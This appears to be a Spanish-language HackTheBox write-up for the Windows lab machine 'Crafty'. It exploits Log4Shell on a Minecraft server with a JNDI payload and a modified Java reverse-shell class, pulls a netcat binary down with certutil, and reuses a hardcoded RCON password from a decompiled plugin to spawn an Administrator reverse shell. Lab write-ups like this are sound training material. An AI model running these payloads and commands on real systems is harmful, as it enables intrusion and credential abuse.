Crafty – HackTheBox Link to heading

  • OS: Windows
  • Difficulty / Dificultad: Easy / Fácil
  • Platform / Plataforma: HackTheBox

‘Crafty’ Avatar


Resumen Link to heading

Crafty es una máquina fácil de la plataforma HackTheBox la cual tiene una version vulnerable de Log4J (una biblioteca presente en muchas aplicaciones escritas en Java) en un viejo servidor de Minecraft. Empezando, chequeamos los puertos TCP abiertos donde encontramos que, en efecto, la máquina corresponde a un servidor de Minecraft. Analizando su version vemos que éste contiene una version vulnerable de la biblioteca Log4J, la cual nos permite ejecutar el famoso exploit Log4Shell (CVE-2021-44228) y ganar acceso a la máquina como el usuario svc_minecraft. Una vez dentro de la máquina, somos capaces de extraer un archivo Java .tar el cual contiene credenciales. Usando RunasCs, revisamos si estas credenciales pertenecen al usuario Administrator; y efectivamente sí pertenecen, de manera que somos capaces de ganar acceso al usuario Administrator y así comprometer completamente la máquina.


User / Usuario Link to heading

Empezando con un scan con Nmap sólo muestra 2 servicios corriendo por protocolo TCP: 80 HTTP (en un servicio Microsoft IIS) y 25565 un servicio de Minecraft

❯ sudo nmap -sS -p- --open --min-rate=5000 -n -Pn -vvv 10.10.11.249

y chequeando las versiones de los puertos abiertos:

❯ sudo nmap -sVC -p80,25565 10.10.11.249 -oN targeted

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-17 17:20 -04
Nmap scan report for 10.10.11.249
Host is up (0.17s latency).

PORT      STATE SERVICE   VERSION
80/tcp    open  http      Microsoft IIS httpd 10.0
|_http-title: Did not follow redirect to http://crafty.htb
|_http-server-header: Microsoft-IIS/10.0
25565/tcp open  minecraft Minecraft 1.16.5 (Protocol: 127, Message: Crafty Server, Users: 0/100)
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.21 seconds

Del output del scan puedo ver que el sitio web del puerto 80 redirige a crafty.htb. De manera que agrego este dominio a mi archivo /etc/hosts:

❯ echo '10.10.11.249 crafty.htb' | sudo tee -a /etc/hosts

Visitando el sitio http://crafty.htb muestra una página basada en Minecraft la cual muestra, aparentemente, datos de éste:

Crafty 1

El sitio muestra el subdominio play.crafty.htb, de manera que también decido agregar este nuevo subdominio a mi archivo /etc/hosts, de manera que éste ahora se ve como:

❯ cat /etc/hosts | tail -n 1

10.10.11.249 crafty.htb play.crafty.htb

pero visitando play.crafty.htb simplemente redirige a crafty.htb. Por ejemplo, analizando el sitio con WhatWeb tenemos:

❯ whatweb http://play.crafty.htb

http://play.crafty.htb [301 Moved Permanently] Country[RESERVED][ZZ], HTTPServer[Microsoft-IIS/10.0], IP[10.10.11.249], Microsoft-IIS[10.0], RedirectLocation[http://crafty.htb], Title[Document Moved]
http://crafty.htb [200 OK] Country[RESERVED][ZZ], HTML5, HTTPServer[Microsoft-IIS/10.0], IP[10.10.11.249], JQuery[3.6.0], Microsoft-IIS[10.0], Script[text/javascript], Title[Crafty - Official Website]

Decido buscar por directorios intentando un Brute Force Directory Listing con Gobuster, pero no obtuve nada interesante:

❯ gobuster dir -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://crafty.htb -t 55

===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://crafty.htb
[+] Method:                  GET
[+] Threads:                 55
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/home                 (Status: 200) [Size: 1826]
/img                  (Status: 301) [Size: 145] [--> http://crafty.htb/img/]
/Home                 (Status: 200) [Size: 1826]
/css                  (Status: 301) [Size: 145] [--> http://crafty.htb/css/]
/js                   (Status: 301) [Size: 144] [--> http://crafty.htb/js/]
/IMG                  (Status: 301) [Size: 145] [--> http://crafty.htb/IMG/]
/CSS                  (Status: 301) [Size: 145] [--> http://crafty.htb/CSS/]
/Img                  (Status: 301) [Size: 145] [--> http://crafty.htb/Img/]
/JS                   (Status: 301) [Size: 144] [--> http://crafty.htb/JS/]
/HOME                 (Status: 200) [Size: 1826]
/coming-soon          (Status: 200) [Size: 1206]
Progress: 220560 / 220561 (100.00%)
===============================================================
Finished
===============================================================

En este punto pongo mi atención en el puerto 25565 mostrado por el scan de Nmap. Googleando Minecraft 1.16.5 exploit muestra que éste contiene una version de Log4J vulnerable a Log4Shell (CVE-2021-44228). De manera que, aparentemente, necesitamos correr comandos en el servidor de Minecraft para obtener una shell en nuestra máquina de atacante. Para esto tenemos 2 opciones:

  1. Descargar un launcher de Minecraft para Linux (dado que mi máquina de atacante es una máquina Linux). Esto puede requerir TLauncher de manera que, de ser posible, prefiero saltarme esta opción…
  2. Usar una librería de Python llamada pyCraft (cuyo repositorio lo podemos visitar desde este link) y tratar de correr los comandos en el servidor de Minecraft dentro de este script.

Usaré la segunda opción. Primero, clono el repositorio pyCraft:

❯ git clone https://github.com/ammaraskar/pyCraft.git

Cloning into 'pyCraft'...
remote: Enumerating objects: 3182, done.
remote: Counting objects: 100% (158/158), done.
remote: Compressing objects: 100% (70/70), done.
remote: Total 3182 (delta 106), reused 112 (delta 88), pack-reused 3024
Receiving objects: 100% (3182/3182), 775.28 KiB | 2.42 MiB/s, done.
Resolving deltas: 100% (2222/2222), done.

Luego, creamos un entorno virtual dentro de Python, lo activamos e instalamos todas las librerías necesarias para pycraft.py en él. En mi caso crearé un entorno virtual llamado minecraftENV, e instalar todo lo necesario en él:

❯ cd pyCraft

❯ python3 -m venv minecraftENV

❯ source minecraftENV/bin/activate

❯ pip3 install -r requirements.txt

Luego, para explotar Log4J usaremos este repositorio de Github. Una vez clonado e instalado éste todavía requiere algunos archivos externos para funcionar. Además, desde el repositorio de log4shell-poc, cambiaremos algunas líneas del script poc.py. Para esto cambiamos las líneas:

public class Exploit {

    public Exploit() throws Exception {
        String host="%s";
        int port=%d;
        String cmd="/bin/sh";
        Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();
        Socket s=new Socket(host,port);
        InputStream pi=p.getInputStream(),
<SNIP>

a

public class Exploit {

    public Exploit() throws Exception {
        String host="%s";
        int port=%d;
        String cmd="cmd.exe";
        Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();
        Socket s=new Socket(host,port);
        InputStream pi=p.getInputStream(),

Donde hemos cambiado /bin/sh (la cual sirve para obtener una shell desde un servidor Linux, que no es el caso) a cmd.exe (para obtener una shell de un servidor Windows, el cual sí es el caso para la máquina Crafty)

Como dijjimos anteriormente, necesitamos un archivo Java para correr este exploit. Usualmente uno intentaría distintas versiones de este archivo hasta encontrar aquella que funcione, pero en nuestro caso (y para ahorrar tiempo) usaremos la versión 8. Podemos descargar el archivo necesario desde este repositorio y extraerlo:

❯ wget https://repo.huaweicloud.com/java/jdk/8u181-b13/jdk-8u181-linux-x64.tar.gz

--2024-05-17 18:00:39--  https://repo.huaweicloud.com/java/jdk/8u181-b13/jdk-8u181-linux-x64.tar.gz
Resolving repo.huaweicloud.com (repo.huaweicloud.com)... 119.8.158.18, 119.8.158.19, 119.8.158.17
Connecting to repo.huaweicloud.com (repo.huaweicloud.com)|119.8.158.18|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 185646832 (177M) [application/octet-stream]
Saving to: ‘jdk-8u181-linux-x64.tar.gz’

jdk-8u181-linux-x64.tar.gz                 100%[=======================================================================================>] 177.05M  55.3MB/s    in 3.3s

2024-05-17 18:00:42 (53.9 MB/s) - ‘jdk-8u181-linux-x64.tar.gz’ saved [185646832/185646832]

❯ tar -xf jdk-8u181-linux-x64.tar.gz

Al archivo extraído debemos renombrarlo como jdk1.8.0_20 dado que este es el nombre usado para el archivo en el script poc.py. De manera que lo renombramos:

❯ mv jdk1.8.0_181 jdk1.8.0_20

Así, nuestro directorio log4j-shell-poc ahora se ve como:

❯ ls -la

total 181352
drwxr-xr-x 6 gunzf0x gunzf0x      4096 May 17 18:02 .
drwxr-xr-x 4 gunzf0x gunzf0x      4096 May 17 17:54 ..
-rw-r--r-- 1 gunzf0x gunzf0x       177 May 17 17:54 Dockerfile
drwxr-xr-x 8 gunzf0x gunzf0x      4096 May 17 17:54 .git
-rw-r--r-- 1 gunzf0x gunzf0x        23 May 17 17:54 .gitignore
drwxr-xr-x 7 gunzf0x gunzf0x      4096 Jul  7  2018 jdk1.8.0_20
-rw-r--r-- 1 gunzf0x gunzf0x 185646832 Jul  8  2018 jdk-8u181-linux-x64.tar.gz
-rw-r--r-- 1 gunzf0x gunzf0x      1060 May 17 17:54 LICENSE
-rwxr-xr-x 1 gunzf0x gunzf0x      4208 May 17 17:58 poc.py
-rw-r--r-- 1 gunzf0x gunzf0x      3051 May 17 17:54 README.md
-rw-r--r-- 1 gunzf0x gunzf0x        18 May 17 17:54 requirements.txt
drwxr-xr-x 2 gunzf0x gunzf0x      4096 May 17 17:54 target
drwxr-xr-x 4 gunzf0x gunzf0x      4096 May 17 17:54 vulnerable-application

Ahora que finalmente tenemos todo listo podemos correr el exploit. Primero, empezamos un listener con netcat, en mi caso, en el puerto 443:

❯ rlwrap -cAr nc -lvnp 443

listening on [any] 443 ...

Luego, corremos el exploit:

❯ python3 poc.py --userip 10.10.16.2 --webport 80 --lport 443

[!] CVE: CVE-2021-44228
[!] Github repo: https://github.com/kozmer/log4j-shell-poc

Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
[+] Exploit java class created success
[+] Setting up LDAP server

[+] Send me: ${jndi:ldap://10.10.16.2:1389/a}

[+] Starting Webserver on port 80 http://0.0.0.0:80
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
Listening on 0.0.0.0:1389

donde 10.10.16.2 es mi IP de atacante y 443 es el puerto en el cual estoy en escucha con netcat. Pero no estamos listos. Tal cual el programa dice, necesitamos ejecutar el payload malicioso para Log4J, en este caso, ${jndi:ldap://10.10.16.2:1389/a} en el servidor víctima para activar las instrucciones para una reverse shell.

Ahora, empezamos/corremos pyCraft. Podemos usarlo en modo offline (de manera que no necesitamos tener una cuenta de Minecraft):

❯ python3 start.py

Enter your username: gunzf0x
Enter your password (leave blank for offline mode):
Enter server host or host:port (enclose IPv6 addresses in square brackets): 10.10.11.249
Connecting in offline mode...
Connected.

${jndi:ldap://10.10.16.2:1389/a}

donde, al final, he escrito ${jndi:ldap://10.10.16.2:1389/a}.

Luego de hacer esto obtengo una shell como el usuario svc_minecraft:

❯ rlwrap -cAr nc -lvnp 443

listening on [any] 443 ...
connect to [10.10.16.2] from (UNKNOWN) [10.10.11.249] 49681
Microsoft Windows [Version 10.0.17763.5329]
(c) 2018 Microsoft Corporation. All rights reserved.

c:\users\svc_minecraft\server>whoami

whoami
crafty\svc_minecraft

donde podemos ver la flag de usuario en el directorio C:\Users\svc_minecraft\Desktop.


NT Authority/System - Administrador Link to heading

Luego de husmear por algunos archivos termino encontrando un archivo Java en el directorio C:\Users\svc_minecraft\server\plugins:

c:\Users\svc_minecraft\server\plugins>dir

dir
 Volume in drive C has no label.
 Volume Serial Number is C419-63F6

 Directory of c:\Users\svc_minecraft\server\plugins

10/27/2023  02:48 PM    <DIR>          .
10/27/2023  02:48 PM    <DIR>          ..
10/27/2023  02:48 PM             9,996 playercounter-1.0-SNAPSHOT.jar
               1 File(s)          9,996 bytes
               2 Dir(s)   3,814,014,976 bytes free

Para descargar este archivo decido pasar un binario de netcat para Windows usando la herramienta certutil. Primero empezamos un servidor temporal HTTP en Python en el puerto 8080 en nuestra máquina de atacante:

❯ ls && python3 -m http.server 8080

log4j-shell-poc  nc64.exe  pyCraft
Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...

y en la máquina víctima, corremos:

c:\Users\svc_minecraft\server\plugins>certutil.exe -urlcache -split -f http://10.10.16.2:8080/nc64.exe c:\Users\svc_minecraft\Downloads\nc.exe

certutil.exe -urlcache -split -f http://10.10.16.2:8080/nc64.exe c:\Users\svc_minecraft\Downloads\nc.exe
****  Online  ****
  0000  ...
  b0d8
CertUtil: -URLCache command completed successfully.

Luego, usamos el binario de netcat para descargar el archivo c:\Users\svc_minecraft\server\plugins\playercounter-1.0-SNAPSHOT.jar. En nuestra máquina de atacante empiezo un listener con netcat en el puerto 4444 y guardo todo lo recibido en un archivo:

❯ nc -lvnp 4444 > playercounter-1.0-SNAPSHOT.jar

listening on [any] 4444 ...

y en la máquina víctima paso el archivo:

c:\Users\svc_minecraft\server\plugins>c:\Users\svc_minecraft\Downloads\nc.exe 10.10.16.2 4444 < c:\Users\svc_minecraft\server\plugins\playercounter-1.0-SNAPSHOT.jar

c:\Users\svc_minecraft\Downloads\nc.exe 10.10.16.2 4444 < c:\Users\svc_minecraft\server\plugins\playercounter-1.0-SNAPSHOT.jar

Obtengo una conexión en mi máquina luego de correr el comando superior:

❯ nc -lvnp 4444 > playercounter-1.0-SNAPSHOT.jar

listening on [any] 4444 ...
connect to [10.10.16.2] from (UNKNOWN) [10.10.11.249] 49684

donde luego de un tiempo presiono Ctrl+C.

Finalmente, chequeo que los hashes MD5 de ambos archivos sean el mismo para asegurar la integridad de éstos (tanto el original en la máquina víctima como aquel que copié en mi máquina de atacante). En la máquina víctima (el archivo original) tenemos:

c:\Users\svc_minecraft\server\plugins>certutil.exe -hashfile c:\Users\svc_minecraft\server\plugins\playercounter-1.0-SNAPSHOT.jar MD5

certutil.exe -hashfile c:\Users\svc_minecraft\server\plugins\playercounter-1.0-SNAPSHOT.jar MD5
MD5 hash of c:\Users\svc_minecraft\server\plugins\playercounter-1.0-SNAPSHOT.jar:
349f6584e18cd85fc9e014da154efe03
CertUtil: -hashfile command completed successfully.

y en mi máquina de atacante por nuestra parte tenemos:

❯ md5sum playercounter-1.0-SNAPSHOT.jar

349f6584e18cd85fc9e014da154efe03  playercounter-1.0-SNAPSHOT.jar

Dado que ambos hashes son el mismo entonces el archivo se ha transferido exitosamente.

Ahora, analizo el archivo de Java .jar tratando de decompilarlo con la herramienta Java Decompiler (jd-gui). Al menos en Kali Linux, podemos instalarlo con:

sudo apt install jd-gui

y lo corremos:

❯ jd-gui &> /dev/null & disown

Abro el archivo playercounter-1.0-SNAPSHOT.jar con el decompilador. En él podemos ver una clase llamada Playercounter.class:

Crafty 2

o

package htb.crafty.playercounter;

import java.io.IOException;
import java.io.PrintWriter;
import net.kronos.rkon.core.Rcon;
import net.kronos.rkon.core.ex.AuthenticationException;
import org.bukkit.plugin.java.JavaPlugin;

public final class Playercounter extends JavaPlugin {
  public void onEnable() {
    Rcon rcon = null;
    try {
      rcon = new Rcon("127.0.0.1", 27015, "s67u84zKq8IXw".getBytes());
    } catch (IOException e) {
      throw new RuntimeException(e);
    } catch (AuthenticationException e2) {
      throw new RuntimeException(e2);
    } 
    String result = null;
    try {
      result = rcon.command("players online count");
      PrintWriter writer = new PrintWriter("C:\\inetpub\\wwwroot\\playercount.txt", "UTF-8");
      writer.println(result);
    } catch (IOException e3) {
      throw new RuntimeException(e3);
    } 
  }
  
  public void onDisable() {}
}

donde puedo ver algo como una credencial/contraseña: s67u84zKq8IXw

¿Qué tal si esta fuera la contraseña del usuario Administrator? Revisando los usuarios existentes en la máquina víctima, veo que existen 2 (fuera de svc_minecraft): jacob y Administrator:

c:\Users\svc_minecraft\server\plugins>net user

net user

User accounts for \\CRAFTY

-------------------------------------------------------------------------------
Administrator            DefaultAccount           Guest
jacob                    svc_minecraft            WDAGUtilityAccount
The command completed successfully.

Dado que no tenemos servicios como Server Message Block (SMB) o Windows Remote Management corriendo, usaremos la herramienta RunasCs para pivotear de usuario dentro de la máquina Windows. Lo descargamos desde su repositorio de Github, lo unzipeo y paso el archivo .exe a la máquina víctima de la misma manera a como anteriormente transferimos el binario de netcat. Luego, corro RunasCs como Administrator usando la credencial hallada en el archivo .jar. Empiezo un listener con netcat en el puerto 443 y en la máquina víctima corremos:

c:\Users\svc_minecraft\server\plugins>c:\Users\svc_minecraft\Downloads\runascs.exe Administrator s67u84zKq8IXw "C:\Users\svc_minecraft\Downloads\nc.exe 10.10.16.2 443 -e C:\Windows\System32\cmd.exe"

c:\Users\svc_minecraft\Downloads\runascs.exe Administrator s67u84zKq8IXw "C:\Users\svc_minecraft\Downloads\nc.exe 10.10.16.2 443 -e C:\Windows\System32\cmd.exe"

y obtengo una shell como el usuario Administrator:

❯ rlwrap -cAr nc -lvnp 443

listening on [any] 443 ...
connect to [10.10.16.2] from (UNKNOWN) [10.10.11.249] 49687
Microsoft Windows [Version 10.0.17763.5329]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami

whoami
crafty\administrator

De manera que podemos leer la flag root.txt en el directorio C:\Users\Administrator\Desktop y máquina resuelta.

~ Happy Hacking